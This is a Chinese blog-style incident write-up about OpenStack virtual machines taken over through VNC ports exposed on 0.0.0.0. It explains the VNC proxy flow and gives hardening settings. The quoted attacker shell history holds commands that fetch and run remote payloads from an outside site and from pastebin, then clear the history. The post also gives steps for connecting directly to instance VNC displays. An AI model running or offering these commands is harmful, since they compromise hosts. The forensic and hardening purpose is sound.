云计算---记一次黑客攻击openstack创建的虚拟机

简介: 一:问题定位 现象:   近期发现有几台openstack云主机被修改密码并被肉鸡。 黑客操作日志: 18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:13 top 18-02-01 22:41:26 ####...

一:问题定位

现象:

  近期发现有几台openstack云主机被修改密码并被肉鸡。

黑客操作日志:

18-02-01 22:41:26 ##### root tty1 22:41  #### 2018-02-01 22:41:13 top
18-02-01 22:41:26 ##### root tty1 22:41  #### 2018-02-01 22:41:26 clear
18-02-01 22:41:33 ##### root tty1 22:41  #### 2018-02-01 22:41:33 nvidia-smi
18-02-01 22:41:42 ##### root tty1 22:41  #### 2018-02-01 22:41:42 cd /opt
18-02-01 22:41:42 ##### root tty1 22:41  #### 2018-02-01 22:41:42 ls
18-02-01 22:41:45 ##### root tty1 22:41  #### 2018-02-01 22:41:45 ls -a
18-02-01 22:42:09 ##### root tty1 22:41  #### 2018-02-01 22:41:58 curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit
18-02-01 22:42:12 ##### root tty1 22:41  #### 2018-02-01 22:42:12 ls
18-02-01 22:42:20 ##### root tty1 22:41  #### 2018-02-01 22:42:20 cat yamit
18-02-01 22:42:29 ##### root tty1 22:41  #### 2018-02-01 22:42:29 histoy -c
18-02-01 22:42:31 ##### root tty1 22:41  ####
18-02-01 22:42:33 ##### root tty1 22:41  #### 2018-02-01 22:42:33 rm -rf yamit
18-02-01 22:42:40 ##### root tty1 22:41  #### 2018-02-01 22:42:35 top
18-02-01 22:42:40 ##### root tty1 22:41  #### 2018-02-01 22:42:40 ear
18-02-01 22:42:42 ##### root tty1 22:41  ####
18-02-01 22:43:09 ##### root tty1 22:43  #### 2018-02-01 22:42:45 exit
18-02-01 22:43:11 ##### root tty1 22:43  #### 2018-02-01 22:43:11 clear
18-02-03 03:56:25 ##### root tty1 03:56  #### 2018-02-01 22:43:12 exit
18-02-03 03:56:28 ##### root tty1 03:56  #### 2018-02-03 03:56:28 ifconfig
18-02-03 03:56:44 ##### root tty1 03:56  #### 2018-02-03 03:56:42 ping ya.ru
18-02-03 03:57:01 ##### root tty1 03:56  #### 2018-02-03 03:57:00 wget https://pastebin.com/raw/BZk9zRE2
18-02-03 03:57:04 ##### root tty1 03:56  #### 2018-02-03 03:57:04 bash B
18-02-03 03:57:31 ##### root tty1 03:56  #### 2018-02-03 03:57:06 bash BZk9zRE2
18-02-03 03:57:38 ##### root tty1 03:56  #### 2018-02-03 03:57:38 rm BZk9zRE2
18-02-03 03:57:42 ##### root tty1 03:56  #### 2018-02-03 03:57:42 history =c

 登陆方式不是通过暴力破解的方式进行登陆此机器,同时看日志看到登陆前有重启虚拟机的行为。

根据重启日志,应该是黑客通过某种方式重启 OpenStack 中的虚拟机,目前有以下几种方式

  1.有权限登陆 OpenStack 物理机,在物理机上操作虚拟机[排除--根据操作日志]

  2.有权限登陆 OpenStack dashboard,然后界面上 VNC 操作虚拟机[排除--根据 web 界面重启日志]

  3.使用 VNC 客户端直接操作 OpenStack 中的虚拟机

根据以上方法,确认是以 VNC 客户端直接操作 OpenStack 中的虚拟机导致。

二:处理方法

2.1VNC

       VNC (Virtual Network Computer) 是虚拟网络计算机的缩写

2 .2用 VNC 客户端查看 openstack 创建的虚拟机

  在云计算的环境中,实际上更多的时候是使用 VNC 工具去查看云系统中的 VM。以下记录如何查看的方法:

  计算节点查看虚拟机的 ID(libvird 的,非 instanc_id)

[root@compute1 ~]# virsh list --all
Id Name State
----------------------------------------------------
51 instance-000000b7 running
63 instance-000000d3 running
64 instance-000000de running#############比如这台
- instance-000000ac shut off
- instance-000000b2 shut off
- instance-000000b3 shut off
- instance-000000bb shut off

       找到需要连接的虚拟机的 ID 号,查看其中暴露的端口:

[root@compute1 ~]# virsh vncdisplay 64
:1

  然后在 VNC 查看工具中输入相关连接:

  在 VNC 客户端上输入 对应的计算节点 IP:1

  点击 Connect 后就可以连接上 openstack 创建的虚拟机。

【备注】以上采用的方法,实际是直接连接的底层的 libvirt,本质上和上层的 openstack 无太大关系,因此也可以用于其它平台。

 

2.3 查看外网可以连接的实例

root 权限登陆计算节点后

#netstat -tanp | grep kvm | grep LISTEN

输出的内容中,监听地址为0.0.0.0的,都可以外网直接访问此实例

3 OpenStack 中 VNC 分析

nova_vnc

3.1 VNC Proxy 的功能

  将公网 (public network) 和私网 (private network) 隔离

  • VNC client 运行在公网上,VNCServer 运行在私网上,VNC Proxy 作为中间的桥梁将二者连接起来
  • VNC Proxy 通过 token 对 VNC Client 进行验证
  • VNC Proxy 不仅仅使得私网的访问更加安全,而且将具体的 VNC Server 的实现分离,可以支持不同 Hypervisor 的 VNC Server 但不影响用户体验

3.2 VNC Proxy 的运行过程

  • (01) 一个用户试图从浏览器里面打开连接到虚拟机的 VNC Client
  • (02) 浏览器向 nova-api 发送请求,要求返回访问 vnc 的 url
  • (03) nova-api 调用 nova-compute 的 get vnc console 方法,要求返回连接 VNC 的信息
  • (04) nova-compute 调用 libvirt 的 get vnc console 函数
  • (05) libvirt 会通过解析虚拟机运行的 /etc/libvirt/qemu/instance-0000000c.xml 文件来获得 VNC Server 的信息
  • (06) libvirt 将 host, port 等信息以 json 格式返回给 nova-compute
  • (07) nova-compute 会随机生成一个 UUID 作为 Token
  • (08) nova-compute 将 libvirt 返回的信息以及配置文件中的信息综合成 connect_info 返回给 nova-api
  • (09) nova-api 会调用 nova-consoleauth 的 authorize_console 函数
  • (10) nova-consoleauth 会将 instance –> token, token –> connect_info 的信息 cache 起来
  • (11) nova-api 将 connect_info 中的 access url 信息返回给浏览器:http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld%289169fdb2-5b74-46b1-9803-60d2926bd97c%29
  • (12) 浏览器会试图打开这个链接
  • (13) 这个链接会将请求发送给 nova-novncproxy
  • (14) nova-novncproxy 调用 nova-consoleauth 的 check_token 函数
  • (15) nova-consoleauth 验证了这个 token,将这个 instance 对应的 connect_info 返回给 nova-novncproxy
  • (16) nova-novncproxy 通过 connect_info 中的 host, port 等信息,连接 compute 节点上的 VNC Server,从而开始了 proxy 的工作

3.3 NOVA 中 VNC 相关配置

  • vnc_enabled=True 启用虚拟机的 VNC 功能。
  • vncserver_listen=0.0.0.0
    • 127.0.0.1(默认),即只可以从本机进行访问,缺点是浏览器 VNC 访问实例也会失败
    • 管理网的 IP 地址
    • 0.0.0.0 主要是考虑到动态迁移时,目的宿主机没有相应的 IP 地址,动态迁移会失败。
  • vncserver_proxyclient_address 该地址指明 vnc proxy 应该通过那个 IP 地址来连接 vncserver,通常是管理网 IP 地址。
  • novncproxy_base_url=http://SERVICEHOST:6080/vncauto.html 指定浏览器 client 应该连接的地址。

  如果 OpenStack 平台架设在公网上,则 vncserver_listen 需要配置为管理网的 IP 地址,否则设置为 0.0.0.0 就会使得外网用户可以直接访问虚拟机,非常危险

3.4 重新设置监听地址后老实例的处理方法

  计算几点重新设置监听地址后(如从0.0.0.0,修改为计算节点管理网段的 IP),老的实例的对外的 VNC 仍然是 0.0.0.0

  那是因为 /etc/libvirt/qemu/instance-000000xx.xml 中配置的监听地址没有变化

  可以通过硬重启实例使之(老实例)生效

 

目录
相关文章
|
6天前
|
存储 运维 API
云计算中的虚拟机管理
云计算中的虚拟机管理
44 0
|
7天前
|
IDE Linux KVM
云计算|OpenStack|社区版OpenStack---基本概念科普(kvm的驱动类别和安装)
云计算|OpenStack|社区版OpenStack---基本概念科普(kvm的驱动类别和安装)
122 0
|
7天前
|
Ubuntu Linux 网络安全
云计算|OpenStack|社区版OpenStack(实务操作---cloud-init的使用)
云计算|OpenStack|社区版OpenStack(实务操作---cloud-init的使用)
184 0
|
7天前
|
云计算 数据安全/隐私保护 虚拟化
云计算|OpenStack|社区版OpenStack安装部署文档(十一--- 如何获取镜像---Rocky版)
云计算|OpenStack|社区版OpenStack安装部署文档(十一--- 如何获取镜像---Rocky版)
66 0
|
6天前
|
安全 Devops 虚拟化
【专栏】虚拟化技术与云计算平台 OpenStack:硬件虚拟化、操作系统级虚拟化和容器化
【4月更文挑战第28天】本文探讨虚拟化技术原理,如硬件虚拟化、操作系统级虚拟化和容器化,以及开源云计算平台OpenStack如何利用这些技术提供优势。OpenStack支持多种虚拟化技术,具备开源灵活性、多租户架构、可扩展性、插件式设计和成本效益。未来,OpenStack将在容器化、DevOps、跨云策略和安全合规性方面发挥更大作用,助力企业数字化转型。
|
7天前
|
IDE Linux KVM
云计算|OpenStack|社区版OpenStack安装部署文档(十二--- openstack的网络模型解析---Rocky版)
云计算|OpenStack|社区版OpenStack安装部署文档(十二--- openstack的网络模型解析---Rocky版)
85 0
|
6天前
|
存储 Kubernetes 云计算
云计算基础与实战:从虚拟机到容器化应用
云计算基础与实战:从虚拟机到容器化应用
39 0
|
7天前
|
存储 边缘计算 监控
探索未来科技趋势:虚拟化技术与云计算平台OpenStack的概念与实践
在迅猛发展的信息技术时代,企业和组织对于高效、可扩展的计算资源需求日益增长。虚拟化技术和云计算平台OpenStack应运而生,为企业提供了一种灵活、可靠的解决方案。本文将深入探讨虚拟化技术与OpenStack的概念和实践,展示它们在现代科技领域中的重要性和应用前景。
98 3
|
7天前
|
存储 监控 搜索推荐
构建无边界的数字未来:虚拟化技术与云计算平台OpenStack的概念与实践
在当今数字化时代,虚拟化技术和云计算平台已经成为企业和组织实现数字化转型的关键驱动力。本文将介绍虚拟化技术的概念和作用,并重点探讨了开源云计算平台OpenStack在实践中的应用和优势。通过深入了解虚拟化技术和OpenStack平台,读者将能够更好地理解如何利用这些技术构建无边界的数字化未来。
|
7天前
|
存储 人工智能 调度
虚拟化技术与云计算平台 OpenStack:解锁数字化时代的无限潜能
在数字化时代,虚拟化技术和云计算平台已经成为企业和组织加速创新、提高效率的关键工具。本文将介绍虚拟化技术和OpenStack云计算平台的基本概念,探讨其在实践中的应用,以及它们如何协同作用,为企业带来无限的潜能与机会。